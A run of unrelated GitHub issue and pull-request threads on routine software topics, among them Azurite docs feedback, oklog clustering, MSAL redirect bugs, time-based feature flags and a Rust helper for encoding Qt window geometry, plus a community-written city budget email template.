Not useful

No developer who has knowledge of Azure and VS Code can easily setup an configure Azurite to run from a project using this content.
I am stunned that the content is "reviewed" having been written by AI.  So a real person walked through the setup and install steps and got this to work? Remember a lot of VS Code Extensions are generating settings that do not use Azurite so settings need to be updated manually.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 12fa98d9-0901-84c7-f144-e89d9b7c036d
Version Independent ID: db1fe92d-d22b-8a32-7061-d7960f41311e
Content: Use Azurite emulator for local Azure Storage development
Content Source: articles/storage/common/storage-use-azurite.md
Service: azure-storage
Sub-service: storage-common-concepts
GitHub Login: @pauljewellmsft
Microsoft Alias: pauljewell

@softwarepronto
Thanks for your feedback! We will investigate and update as appropriate.

@softwarepronto
I'd recommend working closer with our support team via an Azure support request. Or you can leverage our Q&A forum by posting your issue there so our community, and MVPs can further assist you in troubleshooting this issue or finding potential workarounds.
Teams Q&A forum for technical questions about the configuration and administration of Microsoft Teams on Windows.
Microsoft Teams Community forum
Thank you for your time and patience throughout this issue.


Replace facility query parameter with local storage

Currently, we know which facility is "active" for a user by pulling that information from a query parameter and putting it in our redux state. Our URL generally will look something like this:
https://dev.simplereport.gov/app/queue?facility=2ac2c8b6-5a29-434d-a24e-d549fbd5efd1

This, however, is brittle. Someone could accidentally delete or change a character in the facility string. Additionally, we have already had instances in which we redirect users on the frontend but omit the query string, resulting in an infinite loop of requesting facility selection.
One way to overcome this brittleness is to just store and retrieve the selected facility from local storage.

Seems like it should be fine to save this in localStorage. There shouldn't be any PII implications I think. There is some PII in the Redux store (Patient for example) so we shouldn't persist all of the Redux store.


[Feature Request] Add modifiers for Knockdown and Stun rolls from Major Wounds to Skull, Eye, Face, Vitals and Groin on the Major Wound chat card

In the ADD, when clicking the Major Wound button under Calculation and Results, the following chat card is displayed:

It would be handy if the same card also displayed the following (B420):

-5 for Major Wound to Face, Vitals or Groin
-10 for Major Wound to Skull or Eye

That's it.

We actually already put that into the damage calculator.   If you pick the Face or Vitals/Groin as the Hit Location, you will see that the button already has the -5 built into the roll (HT-5)

The top one is a Face hit, and the bottom to the groin (admittedly, it doesn't say anything about groin/vitals, but it DOES already include the -5 on the HT roll.
And an attack to the Eye or Skull produces:

(or it will say Eye).
So I am going to close this issue.

Ah, didn't know about that. Thanks for sharing.


Install nodejs 8 on travis unix envs

We fixed travis configuration to always install NodeJs 8 as it recently has changed default node js to 12.x.
This is to back port the same fix for 1.0.x branch.
Check List

[ X] Read the Contributing Guide
[ ] Updated Change Log
[ ] Checked Tooling Support (#)
[ ] Added necessary tests

[ ] Unit Tests
[ ] Spec Conformance Tests
[ ] Integration Tests
[ ] Ballerina By Example Tests

[ ] Increased Test Coverage
[ ] Added necessary documentation

[ ] API documentation
[ ] Module documentation in Module.md files
[ ] Ballerina By Examples

Codecov Report

Merging #20412 into ballerina-1.0.x will not change coverage.
The diff coverage is n/a.

@@               Coverage Diff                @@
##           ballerina-1.0.x   #20412   +/-   ##
================================================
  Coverage            20.51%   20.51%
================================================
  Files                   52       52
  Lines                 1394     1394
  Branches               216      216
================================================
  Hits                   286      286
  Misses                1095     1095
  Partials                13       13

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7db9e28...5f768f8. Read the comment docs.


OIDC sample application keeps reloading for latest chrome versions

Describe the issue:
When WSO2 IS and OIDC sample application provided in the samples-is repo is hosted locally in different domains, OIDC sample app keeps reloading indefinitely once the user sign-in to the application.
How to reproduce:

Host IS and OIDC sample application two different domains.
Configure OIDC sample application as a service provider in IS.
Login to the OIDC sample application in latest version of chrome.

Expected behavior:
User should be able to login successfully and OIDC application should logout automatically when an SLO is initiated by another application.
Notes
This issue is occurring because latest chrome browser blocks third-party cookies that doesn't have SameSite=None and Secure attributes set.

https://www.searchenginejournal.com/chrome-84-3rd-party-cookies/374529/

I experienced the same issue with Firefox when I used the pickup-dispatch from samples 4.3.0 release. @janakamarasena with the latest samples release this issue was resolved.

This issue is now resolved in the latest sample release as back channel logout has been enabled.
Tested with sample 4.4.0 and IS 5.12.0 Alpha 16.


fix: cleanup worker stuff from memory storage to fix vitest

Closes #1999

We will do a release later this week. You can use the beta version, every commit to master is published to NPM automatically.


Themes update

Major changes include:

fix various css issues on themes
added grunt-concurrent build mode, builds faster.
added time-grunt to check build time.
added beta install script, GUI and CLI. (still linking on my fork as of now)

is based on node 10 (crypt3 has deprecated warnings, but works)

Update readme in themes/
Various minor things.

Please test :)
Thanks

Hello @clems4ever , cool thank you! just had a look, looks great! Just need to dig into React a bit, as it's all new to me.
From what I understood when building with sass you get a compiled css from the scss, therefore only one theme can be made at a time?
However possibly there are ways to make multiple themes, and using JS to change it dynamically on a separate page like /admin for example?
Concerning my changes on current master, maybe they make no sense anymore, as the client itself is now completely different. I will close this pull, if okay with you.

Hello @BankaiNoJutsu ,
I think you don't really need to know React if you want to help with theming, Sass is sufficient I think. Yes, you're right, Sass is compiled into css and so this only allows one theme at a time. This is already the same as in master since we specify a given theme during the build.
Making theme change at runtime with JS is generally a bad idea because it usually breaks a security feature offered by browsers called Content-Security-Policy (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP). Maybe generating several CSS files and switching using HTML could work instead of JS. We would need to test. But anyway, since the user cannot yet save a preferred theme (that would require it to be stored in DB), there is no value in switching in live.
What is good with Sass is that we will avoid a lot of code duplication for the theming. You can just put all the variables you want to change in a single file and generate a new variable file for each custom theme. It's like you have a templated skeleton that you fill with a single file containing all the customizable properties.
Indeed, you're current PR will hardly fit in the new UI I think. I was about to re-introduce the dark theme but if you want to help me with that you can check how the new UI is working while I'm fixing/rewriting the remaining tests.
Do you understand the new scripts I added to simplify the development workflow?
You can basically run ./scripts/authelia-scripts start config.minimal.yml to bootstrap a hot reloadable dev environment that allows you to see your changes in (almost) real-time as you code.
I'm glad you like Authelia and you contribute to it! Don't hesitate to tell me if you need help with something. We can even discuss in Gitter if we need a more interactive conversation.

This PR is not up to date anymore, I'm closing it.


Is peer function can work?

I've downloaded the 0.1.1 and 0.1.2 version to test.
Using the Quickstart setting at localhost and single host is ok.
But i can not use peer with small installation, it shows error like it can not connect to other host.
When i change the order to start program, the Join number will change, like it can communicate in some level.
 You need to declare the ingeststore's so-called cluster address to a routable IP on each box. For example,
droi@foo:~$ oklog ingeststore -cluster <IP_ADDRESS>:7659 ...
droi@bar:~$ oklog ingeststore -cluster <IP_ADDRESS>:7659 ...
droi@baz:~$ oklog ingeststore -cluster <IP_ADDRESS>:7659 ...

Let me know if that works. This isn't really mentioned in the README text, but it should be. Thanks for the issue!

@peterbourgon Thanks, it is worked. And no need to add port after IP.
This question might not ask here, but now the consume speed is very low, is there anything I can adjust?
I just run for i in seq 20000; do echo Hello $i | ./oklog forward <IP_ADDRESS> ; done
And it consume just 10 message per second.

@peterbourgon Thanks, it is worked. And no need to add port after IP.
This question might not ask here, but now the consume speed is a bit low, is there anything I can adjust?
I just run for i in seq 20000; do echo Hello $i | ./oklog forward <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> ; done
Using ./oklog query -store <IP_ADDRESS>|wc -l to get output
It consume about 60 message per second. And message will duplicate. Is it design?

With each iteration of your loop, you're spawning a new oklog forward process, which establishes a new connection, builds a bufio.Scanner, reads a single record, and tears it all down. That's extremely cost-ineffective! You should have a single process which emits your records, and pipes them to a single instance of the forwarder. For example
sh -c 'for i in seq 20000; do echo Hello $i ; done' | ./oklog forward ...

In terms of querying, you should not get duplicates, but I have reproduced that you do. It's a simple bug, thanks for finding it! I'll fix it right away. #30.


Lynchburg, VA

Hi, thanks for your interest in adding your city to the website. Emails on defund12.org are all written by community members. To add your city, you must provide:

Email addresses (at least one) of the government officials you’d like to receive the message
Detailed message concerning the budgeting decisions at stake in your community

Until you provide this content, we cannot post your city.
Messages should follow our email style guidelines. Remember that messages must be specific to your locale and focused on defunding the police. If your message is copied from an external source, please provide a link to the original source.
Your request will be closed until you reply with the necessary content. Thank you!

<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Dear Members of City Council & Office of Management and Budget,
My name is [your name] and I am a resident of Lynchburg. These past weeks, our nation has been gripped by protests calling for rapid and meaningful reevaluation of the role of policing in our communities and an end to racism and anti-Blackness. Our own city has been inextricably involved in this movement, with its own set of profound events.
Accordingly, it has come to my attention that the budget for 2021 is being determined and adopted as these protests continue, and is set to be implemented in July.  While we’ve been spending extraordinary amounts on policing, we are still seeing a rise in homelessness, safety concerns, and mental health needs in our city (according to 2018-2019 data) . Instead, we see wasteful and harmful actions of our police that ultimately contribute to perpetuating these community problems. The proposed $15,022,988 to be allocated to the LPD in 2021 is more than the proposed 2021 allocation for Human Services, Community Development, and Parks/Recreation/Cultural COMBINED (total allocated for these vital areas is merely $9,365,565).
I am urging you to meaningfully redirect funds from the LPD budget and instead use those extraordinary resources to address more effective social programs and services to support Black and Brown communities: COVID-19 relief, affordable housing, healthcare (including mental healthcare), access to food, and community-led centers and projects. Additionally, these initiatives directly support your stated Priorities and Goals for our city as set forth in The Lynchburg Plan, and are much more effective at promoting safety and social equity than policing and incarceration.
I join in solidarity with the activists in Lynchburg and across the nation, and know that we can be a beacon for other cities to follow if only we have the courage to change. Can I count on you to join us and reallocate funds away from LPD to prioritize social and community programs going forward?
Sincerely,
[your name]

Thank you for submitting your city to defund12.org! Your request is now in the queue for review and publishing. We’ll reply here if we have any questions.

@mahrer Please change label, I’ve completed my review.
Edits made: minor structural edits, added reference.
“TO:
<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Subject: [UNIQUE SUBJECT LINE]
Dear Members of City Council & Office of Management and Budget,
My name is [YOUR NAME] and I am a resident of Lynchburg. These past weeks, our nation has been gripped by protests calling for rapid and meaningful reevaluation of the role of policing in our communities and an end to racism and anti-Blackness. Our own city has been inextricably involved in this movement, with its own set of profound events.
Accordingly, it has come to my attention that the budget for 2021 is being determined and adopted as these protests continue, and is set to be implemented in July.  While we’ve been spending extraordinary amounts on policing, we are still seeing a rise in homelessness, safety concerns, and mental health needs in our city (according to 2018-2019 data) . Instead, we see wasteful and harmful actions of our police that ultimately contribute to perpetuating these community problems. The proposed $18 millions to be allocated to the LPD in 2021 is more than the proposed 2021 allocation for Human Services, Community Development, and Parks/Recreation/Cultural COMBINED [1].
I am urging you to meaningfully redirect funds from the LPD budget and instead use those extraordinary resources to address more effective social programs and services to support Black and Brown communities: COVID-19 relief, affordable housing, healthcare (including mental healthcare), access to food, and community-led centers and projects. Additionally, these initiatives directly support your stated Priorities and Goals for our city as set forth in The Lynchburg Plan, and are much more effective at promoting safety and social equity than policing and incarceration.
I join in solidarity with the activists in Lynchburg and across the nation, and know that we can be a beacon for other cities to follow if only we have the courage to change. Can I count on you to join us and reallocate funds away from LPD to prioritize social and community programs going forward?
Sincerely,
[YOUR NAME]
[YOUR ADDRESS]
[YOUR EMAIL]
[YOUR PHONE NUMBER]
[1] https://www.lynchburgva.gov/sites/default/files/COLFILES/Financial-Services/Budget/FY2021/PROPOSED FY 2021.pdf

on it


CAMEL-17020 Fixed apiContextPath and added clientRequestValidation

Fixed so that apiContextPath is set on the generator for xml (swagger and openapi) and yaml (openapi).
Also added the parameter clientRequestValidation that is missing in the openapi plugin

Yeah you can remove the SQL changes. Its unfortuntately the source generator it uses that generates different code depending on the JDK version you use (I think)


No new data in dashboard

Hello,
The dashboard did not receive any new data since 2023-10-11 08:46:43. I suspect there is an update in the API, as there also has been an update in the app, which required logging in again. The dashboard version is 0.23.10
Hints are kindly appreciated.
Please find the logs below:
2023-10-11T06:55:00+0000:ERROR:openid_session:Retrieval Error while refreshing token. Probably the token was invalidated. Trying to do a new                                                                                login instead.
Traceback (most recent call last):
  File "/opt/venv/lib/python3.11/site-packages/weconnect/auth/openid_session.py", line 192, in request
    url, headers, data = self.addToken(url, body=data, headers=headers, access_type=access_type, token=token)
                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/venv/lib/python3.11/site-packages/weconnect/auth/openid_session.py", line 240, in addToken
    raise TokenExpiredError()
oauthlib.oauth2.rfc6749.errors.TokenExpiredError: (token_expired)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/opt/venv/lib/python3.11/site-packages/weconnect/auth/openid_session.py", line 198, in request
    self.refresh()
  File "/opt/venv/lib/python3.11/site-packages/weconnect/auth/we_connect_session.py", line 82, in refresh
    self.refreshTokens(
  File "/opt/venv/lib/python3.11/site-packages/weconnect/auth/we_connect_session.py", line 361, in refreshTokens
    raise RetrievalError(f'Status Code from WeConnect while refreshing tokens was: {tokenResponse.status_code}')
weconnect.errors.RetrievalError: Status Code from WeConnect while refreshing tokens was: 403

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/opt/venv/bin/vwsfriend", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/opt/venv/lib/python3.11/site-packages/vwsfriend/vwsfriend_base.py", line 517, in main
    weConnect.update(updateCapabilities=True, updatePictures=True, force=True)
  File "/opt/venv/lib/python3.11/site-packages/weconnect/weconnect.py", line 193, in update
    self.updateVehicles(updateCapabilities=updateCapabilities, updatePictures=updatePictures, force=force, selective=selective)
  File "/opt/venv/lib/python3.11/site-packages/weconnect/weconnect.py", line 218, in updateVehicles
    self.__vehicles[vin].update(fromDict=vehicleDict, updateCapabilities=updateCapabilities, updatePictures=updatePictures,
  File "/opt/venv/lib/python3.11/site-packages/weconnect/elements/vehicle.py", line 220, in update
    self.updateStatus(updateCapabilities=updateCapabilities, force=force, selective=selective)
  File "/opt/venv/lib/python3.11/site-packages/weconnect/elements/vehicle.py", line 324, in updateStatus
    data: Optional[Dict[str, Any]] = self.weConnect.fetchData(url, force)
                                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/venv/lib/python3.11/site-packages/weconnect/weconnect.py", line 367, in fetchData
    statusResponse: requests.Response = self.session.get(url, allow_redirects=False)
                                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/venv/lib/python3.11/site-packages/requests/sessions.py", line 600, in get
    return self.request("GET", url, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/venv/lib/python3.11/site-packages/weconnect/auth/we_connect_session.py", line 69, in request
    return super(WeConnectSession, self).request(
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/venv/lib/python3.11/site-packages/weconnect/auth/openid_session.py", line 207, in request
    self.login()
  File "/opt/venv/lib/python3.11/site-packages/weconnect/auth/we_connect_session.py", line 75, in login
    authorizationUrl = self.authorizationUrl(url='https://identity.vwgroup.io/oidc/v1/authorize')
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/venv/lib/python3.11/site-packages/weconnect/auth/we_connect_session.py", line 96, in authorizationUrl
    redirect = tryLoginResponse.headers['Location']
               ~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^
  File "/opt/venv/lib/python3.11/site-packages/requests/structures.py", line 52, in __getitem__
    return self._store[key.lower()][1]
           ~~~~~~~~~~~^^^^^^^^^^^^^

hmmm, hard to tell from the blog what happened. I would guess it can be solved with a restart.

Best guess! Restart worked! Thanks.

Hello again :) This problem now occured again and restarting helped. Still, I believe there should be another way of handling this. The server does not even try to recconnect and get a new token. after a while. So it literally waits until somebody restarts it. This is not very convenient.
Any ideas how to fix?

Hi @tillsteinbach, Do you have any feedback? Did anybody have a similar observation? I saw that token refresh has been a problem already some time ago. Any idea what to do? Is the only option to restart the service via cron job?
Looking forward to hearing from you! Thank you 💯!

Hi @tillsteinbach, Do you have any feedback? Did anybody have a similar observation? I saw that token refresh has been a problem already some time ago. Any idea what to do? Is the only option to restart the service via cron job? Looking forward to hearing from you! Thank you 💯!

I have a job that restarts the vwsfriend container every day, that has kept it mostly functional, but it doesn't handle the failure, just tries to mask it.


Updated Style Guide, & CONTRIBUTING, README with new links

Closes #177 .
Additions/modifications proposed in this pull request:

Renamed CodingStyle.txt.md to CODING_STYLE.md
Updated CODING_STYLE.md and CONTRIBUTING.md with coding information.
Updated README, CONTRIBUTING.md with new links for contributing and license.
Removed Readme.txt in docs subfolder
Removed License.txt in docs subfolder
TODO: Should we just remove CODING_STYLE.md altogether? I left it as it's name is catchy enough to draw potential programmers in. Plus, now it provides a link to CONTRIBUTING.md

Looking good, let me know when it's ready for a merge

This is ready, what are your thoughts on this:
TODO: Should we just remove CODING_STYLE.md altogether? I left it as it's name is catchy enough to draw potential programmers in. Plus, now it provides a link to CONTRIBUTING.md

Also do you prefer that I squash commits like this? Or is it better to have the history?

I usually squash when there are a lot of micro-commits
As for CODING_STYLE, i have no preference, remove it if You want, what matters is it's contents anyway :smile:

This is ready for merge.
Since I've already submitted the PR, I can't squash anymore on my end, but according to the interwebs you should have an option to squash when you accept the changes and merge.
Thanks Nem!


Update LookML models to create a simpler basic model

Now that we've worked with a bunch of clients to integrate Snowplow + Looker, we've learnt that:

Simpler models are better. Even if that means they miss on some nice features - analysts prefer working from a simple basis before adding their own business logic to the models.
There were some mistakes in the original models that caused derived tables to fail to load successfully

Closing as we're currently not maintaining our existing LookML models. Once the work is complete on our new and updated data models, revisiting our LookML support (which will be a complete rebuild) might be on the cards.


Add configmap target

Signed-off-by: Christian Kotzbauer<EMAIL_ADDRESS>

Codecov Report

Merging #163 (3733ced) into main (a1d3332) will increase coverage by 7.81%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             main     #163      +/-   ##
==========================================
+ Coverage   21.00%   28.82%   +7.81%
==========================================
  Files           3        5       +2
  Lines         338      451     +113
==========================================
+ Hits           71      130      +59
- Misses        260      307      +47
- Partials        7       14       +7

Impacted Files
Coverage Δ

internal/target/oci/oci_target.go
44.06% <0.00%> (ø)

internal/target/oci/oci.go
61.11% <0.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Optimise box/package icons

Related to box-dashed and box-transparent in #1344.
package alts:

@karsa-mistmere committed…
What do we thing of extending the tape down the side? https://github.com/lucide-icons/lucide/pull/1481#issue-1838147006 cc: @jguddas @ericfennis

What do we thing of extending the tape down the side?

:-1: KISS

Nope, lets keep it simple!


Upgrade Ctrlr to Lua 5.3

Lua 5.3 comes with several API and performance improvements.
It would be great to be able to access that functionality in Ctrlr.
Thanks!
/Pascal

i managed to upgrade to lua 5.3.3 but the bitop library will be lost, there seems to be a war going on between the guy who writes bitop and the lua programmers, anyway 5.3.3 is now in but without bitop i need to do some emulation for it to work (even slower)

Why not switch over to LuaJIT?

i remember there was an issue with LuaJIT and luabind/boost, but i migt re-consider that. i need to check if that's a good option. i'm testing lua 5.3.3 and i'm getting loads of problems...

Hi,
I have also become a bit reluctant to Lua 5.3...
When looking at the integrations with Lua on these pages:
http://lua-users.org/wiki/LuaAddons
http://lua-users.org/wiki/LibrariesAndBindings
It is striking how few integrations there are to Lua 5.3 compared to 5.2 and 5.1. Lua 5.3 has been out for a while now and still the interest for it seem quite weak.
From what I have understood LuaJIT replaces luabind/boost (or at least it doesn't have the boost dependency as luabind does). LuaJIT seems to be maintained by the same guy maintaining the Lua bit library hence it will probably not be ported to 5.3 either.
Perhaps a better alternative for Ctrlr is to stick to 5.1 or potentially upgrade to 5.2.
BR
/Pascal

It seems that it's upgraded and working.


Sort arrow still visible with 'no-sort' class

When you have <th class="sort-header no-sort">, the sort arrow should be hidden for that column.

sort-header is automatically applied in tablesort and should not be added manually in your code. Table headers with the class name no-sort will not have sort-header automatically applied.


[Bug]: Tag searching incorrect. #gui also returns #guitar results

Bug Description
This is due to the fact that 'Alfred filters results' is used.
So not directly a bug, but also not expected behavior.
Relevant Screenshot
No response
To Reproduce
Type: o #gui
Type: o #guitar
Debugging Log

Workflow Configuration

Version & System Information
This command has no results in Alfred.

Make sure you have done the following

[X] I have updated to the latest version of this workflow.
[X] I have read the Troubleshooting Documentation.
[X] If the o ... main search does not work, I have tried rerunning osetup and it still does not work.

well, I'd say that is the intended behavior, so I'd rather label this as a feature request.
The o search is supposed to be a quick search, and having to fully type out a tag does diminish that quickness slightly. In addition,  as you noted yourself, that is also due to the fact that I let Alfred filter the search results, because it has a much better performance.
When you want solely notes with the tag "#gui" but not "#guitar", that's what the tag-based search (ot) is for.
So all in all, implementing a non-Alfred filter would be a) a pretty big rewriting, b) decrease the main search performance, c) make it slower when you really only want to quickly access a note, and d) only improve a rather edge case for which is actually covered by a more specialized feature. Therefore, I think this is not something that I'd implement.
But as I said, the ot search should already solve your problem 🙂

It’s not exactly a bug indeed, I just wanted to let you know though.
Because the ot search is nice, but does not allow for searching multiple tags.
Anyway, keep up the good work! I love the workflow 😍

Op 27 jan. 2022, om 14:49 heeft pseudometa @.***> het volgende geschreven:
well, I'd say that is the intended behavior, so I'd rather label this as a feature request.
The o search is supposed to be a quick search, and having to fully type out a tag does diminish that quickness slightly. In addition, as you noted yourself, that is also due to the fact that I let Alfred filter the search results, because it has a much better performance.
When you want solely notes with the tag "#gui" but not "#guitar", that's what the tag-based search (ot) is for.
So all in all, implementing a non-Alfred filter would be a) a pretty big rewriting, b) decrease the main search performance, c) make it slower when you really only want to quickly access a note, and d) only improve a rather edge case for which is actually covered by a more specialized feature. Therefore, I think this is not something that I'd implement.
But as I said, the ot search should already solve your problem 🙂
—
Reply to this email directly, view it on GitHub https://github.com/chrisgrieser/shimmering-obsidian/issues/53#issuecomment-1023229352, or unsubscribe https://github.com/notifications/unsubscribe-auth/ALLDSA732J6OU72SPB3M5ODUYFEOTANCNFSM5M5ZU57A.
Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.
You are receiving this because you authored the thread.

Thanks!
Ah multi-tag search is indeed sth not covered properly. M Could you open a or for it? Then Ill see that I implement it the next time I am working on it :)


<EMAIL_ADDRESS>loginRedirect bug

Library

[ ]<EMAIL_ADDRESS>or<EMAIL_ADDRESS>[x]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>
Framework

[ ] Angular
[x] React 17
[ ] Other

Description
Call to loginRedirect(authority, redirectUri?) ignores the authority paramater passed to method call. Msal redirects instead to a default authority from msal configuration, but with redirectUri supplied in the method call. I am using this call to handle "forgot password" error thrown from Azure B2C (to redirect the user to reset password policy).
MSAL Configuration
const MsalConfig = {
auth: {
knownAuthorities: [
B2cPolicies.authorities.signupsignin.authority,
B2cPolicies.authorities.passwordReset.authority
],
authority: B2cPolicies.authorities.signupsignin.authority,
clientId: #msal client id#,
redirectUri: window.location.origin,
validateAuthority: false
},
cache: {
cacheLocation: 'localStorage',
storeAuthStateInCookie: false
}
};
Reproduction steps
Set an authority url in msal config (in B2C this could be signinsignup custom policy). Then call loginRedirect by passing a different authority (we are passing a reset password B2C authority). Same code works on version 2.8.0 and MSAL redirects properly.
Expected behavior
Msal is expected to redirect to a correct url.
Identity Provider

[ ] Azure AD
[ ] Azure B2C Basic Policy
[x] Azure B2C Custom Policy
[ ] ADFS
[ ] Other

Browsers/Environment

[x] Chrome
[ ] Firefox
[ ] Edge
[ ] Safari
[ ] IE
[ ] Other (Please add browser name here)

Regression
Passing a different authority to loginRedirect method results in a correct redirection in version 2.8.0.

[x] Did this behavior work before?
Version:
2.8.0

Hi, @momdim ! This is a known issue that was fixed in v2.11. Could you please upgrade and let us know if your issue is solved?

Hi Hector! Thanks for the information. I have updated to 2.11.0 and I can confirm that this bug is now gone. Thanks again! :)

Great! Thanks for the update @momdim! Closing the issue!


Time based feature flags actions

Use case
I've got a few use cases for feature flags rule actions. It's possible to due that today but its really finicky.

I'd like to turn on/enable a feature flags rule only during a certain time of the day (between 10:00-23:00 24 hours clock)
i'd like to turn on/enable a feature flags rule during a certain date range (UTC time)
i'd like to turn on/enable a feature flags rule only during weekends, or just weekdays
i'd like to turn on/enable a feature flags rule during certain week days

I'd like to be able to do combine these conditions with other conditions.
I think the implementation is simple, just need to define the UX.
Solution/User Experience
Time based conditions are sorely missing from the current solution.
Alternative solutions
use regular actions. Use rules that define time as unix time ints and define actions like KEY_GREATER_THAN_VALUE and KEY_LESS_THAN_VALUE.
Not really readable when using unix time ints but it can work.
Not agreat UX.

Acknowledgment

[X] This feature request meets Lambda Powertools Tenets
[ ] Should this be considered in other Lambda Powertools languages? i.e. Java, TypeScript

@heitorlessa  I think I can create a PR if we agree about necessity/basic user experience, i.e how the rule will look like in the JSON. The actions and their tests should be simple enough to create.

Assigning to myself so I can read it fully tomorrow

It sounds sensible to me, thanks for pulling this together as a user story format! I have three immediate concerns:

This may not be precise due to clock differences so messaging must set the right expectations.

[Suggestion] Any maintainer can help with that.

Depending on how the data is in the schema, we need to be careful with the algorithm to avoid a performance bottleneck (type conversion * N condition). Be prepared for potential compromises.

[Suggestion] Load testing would be a requirement to understand the impact on more realistic use cases.

I'd love to see some UX examples before going full blown on the implementation.

[Suggestion] Start with a fork, and let's keep this issue going before a PR. We need to get V2 out of the door ASAP, so I'd like to avoid increasing context switching on maintainers leading to sub-optimal UX here and V2 launch.

btw, if we used pydantic to store & parse the conf, this feature could have even simpler :)
maybe sometime in the future ;)

Updating here as @leandrodamascena will dedicate the next days reviewing, testing, load testing, and co-authoring this feature with you Ran!
I'll be looking after everything else that's coming to the repo for the next two weeks, as Ruben will be away.

Hi @heitorlessa and @ran-isenberg!
First of all, thank you so much for sharing your code with us Ran! This made the initial steps much easier.
I'm still at the beginning of the code but I can already validate a feature flag with a condition for specific days of the week. What do you think about me opening a PR in the next few days and we can work to improve and validate that @ran-isenberg? There will definitely be things to change or improve and we can work together on that.
For now, see this example:
SAM app.py
from aws_lambda_powertools.utilities.feature_flags import FeatureFlags, AppConfigStore
from aws_lambda_powertools import Logger

logger = Logger(sampling_rate=1,level="DEBUG")

app_config = AppConfigStore(
    environment="dev",
    application="comments",
    name="features",
    logger=logger
)

feature_flags = FeatureFlags(store=app_config, logger=logger)

def lambda_handler(event, context):

    ctx = { "tier": "premium", "CURRENT_DAY_UTC": ["tHuRsDaY","MONDAY"]}
    has_premium_features: bool = feature_flags.evaluate(name="premium_features",
                                                        context=ctx, default=False)
    print(has_premium_features)
    if has_premium_features:
        print("RULE MATCH")

JSON
{
  "premium_features": {
    "default": false,
    "rules": {
      "customer tier equals premium": {
        "when_match": true,
        "conditions": [
          {
            "action": "EQUALS",
            "key": "tier",
            "value": "premium"
          },
          {
            "action": "TIME_SELECTED_DAYS",
            "key": "CURRENT_DAY_UTC",
            "value": "THURSDAY"
          }
        ]
      }
    }
  }
}

Lambda execution

@leandrodamascena I've also been working on a PR. I'll create a PR later today so we could merge the code.

see my comments on https://github.com/awslabs/aws-lambda-powertools-python/pull/1666

Finishing leftover tasks today and blocked tomorrow morning to start catch up on the history @leandrodamascena and you discussed, and do a proper review this week


HSEARCH-4074 + HSEARCH-4113 Clarify how to pick a bridge type in the documentation

HSEARCH-4113: Document that serializing the indexing plan is not supported
HSEARCH-4074: Clarify how to pick a bridge type in the documentation

Merged thanks!


[Suggestion] API to set coordinates of projector by numbers when opening

Since the obws::requests::Projector.geometry field only supports base64-encoded Qt geometry format, it may be hard to use that API when you know the arbitrary coordinates you want, but not how to represent them in Qt geometry.
So, it may be easier to have an integrated API that accepts proper coordinates and converts them internally into base64. Because Qt's saveGeometry API has versioning, it shouldn't be very hard to maintain.
In my own application I've implemented it like this:

`qt_geometry.rs`
pub struct QtRect {
    x1: i32,
    y1: i32,
    x2: i32,
    y2: i32,
}

pub struct QtGeom {
    frame: QtRect,
    normal: QtRect,
    screen_no: i32,
    is_maximized: u8,
    is_fullscreen: u8,
    screen_width: i32,
    client_rect: QtRect,
}

impl QtGeom {
    pub fn new(left: i32, top: i32, width: i32, height: i32) -> Self {
        Self {
            frame: QtRect {
                x1: left, y1: top,
                x2: left+width, y2: top+height
            },
            normal: QtRect {
                x1: left, y1: top,
                x2: left+width, y2: top+height
            },
            screen_no: 0,
            is_maximized: 0,
            is_fullscreen: 0,
            screen_width: 0,
            client_rect: QtRect {
                x1: left, y1: top,
                x2: left+width, y2: top+height
            },
       }
    }
}

pub fn rect_to_geometry_str(geometry: QtGeom) -> String {
    //! Creates geometry base64 as of QT5.12 (geometry 3.0)
    //! https://code.woboq.org/data/symbol.html?root=../qt5/&ref=_ZNK7QWidget12saveGeometryEv

    use std::mem::transmute;
    let mut header: Vec<u8> = vec![
        0x01, 0xD9, 0xD0, 0xCB, // magic
        0x00, 0x03, 0x00, 0x00, // maj.+min version
    ];

    fn get_i32(i: i32) -> [u8; 4] {
        let o: [u8; 4] = unsafe { transmute(i.to_be()) };
        o
    }

    header.extend_from_slice( &get_i32(geometry.frame.x1) );
    header.extend_from_slice( &get_i32(geometry.frame.y1));
